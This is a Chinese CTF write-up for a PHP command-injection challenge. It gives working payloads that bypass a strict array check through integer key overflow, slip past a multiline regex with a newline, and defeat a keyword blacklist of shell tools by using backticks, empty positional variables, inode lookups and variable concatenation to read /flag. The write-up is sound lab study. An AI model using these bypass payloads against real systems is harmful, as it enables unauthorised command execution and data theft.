知识点
- PHP的数组key溢出。
- PHP的preg_match的/m绕过。
- 命令执行绕过。
WP
昨天偶然翻自己的收藏夹,突然翻到了攻防世界,差点忘了攻防世界的web还没刷完。。就回来稍微看了个题目,还是挺有意思的,不过我也没能完全独立做出来,前两个点都遇到了问题,反而是最后的命令执行做的比较轻松。
首先进入环境,审一下代码:
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
首先的难点是这里:
if($stuff === $array && $stuff[0] != 'admin') {
想了很久实在没想出来,看了WP,原来是ISG(信息安全大赛)的题目:
解法是利用PHP数组下标的整形溢出:
Different arrays compare indentical due to integer key truncation
因此解法如下:
stuff[4294967296]=admin&stuff[1]=user
属实是知识盲区。
接下来就是这个正则匹配:
if (preg_match("/^\d+$/im",$num)){
只允许纯数字,但是要想命令执行很明显我们需要字母。可以注意到preg_match开启了/m,也就是开启了多行匹配,因此^
和$
不只是匹配字符串的开头和结尾,也匹配一行的开头和一行的结尾。因此我们利用%0a换一行,把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。
但是这里有个坑,就是用harkbar不行。真的是太坑了,用bp:
接下来就需要考虑最终的正则匹配了:
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
这些正则匹配/sh|wget|nc|python|php|perl|
过滤掉了反弹shell,因此反弹shell不太行,就要从换个方向思考,这题的姿势还是挺多的:
解法一:利用反引号`
这是我查资料查到的,真的是全新姿势。我的印象里,例如过滤了cat,我们可以利用这些方式来绕过(不考虑编码绕过之类的):
ca''t
cat""t
ca\t
但是我查到了反引号居然这样和上面的有同样的效果:
ca``t
而这题又没有过滤反引号,因此就可以随便执行命令了:
方法二 $1和$@
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空
因此利用姿势如下:
num=1%0aca$1t /fl$1ag
num=1%0aca$@t /fl$@ag
方法三 利用文件的inode号
我们可以看到/flag文件的inode号:
cat既然被过滤了,那就用tac绕过,然后利用反引号来读文件:
方法四 变量拼接
也是一种比较常用的方法,既然过滤了flag,而又没过滤$,就可以用变量拼接:
num=1%0aa=f;b=lag;tac /$a$b;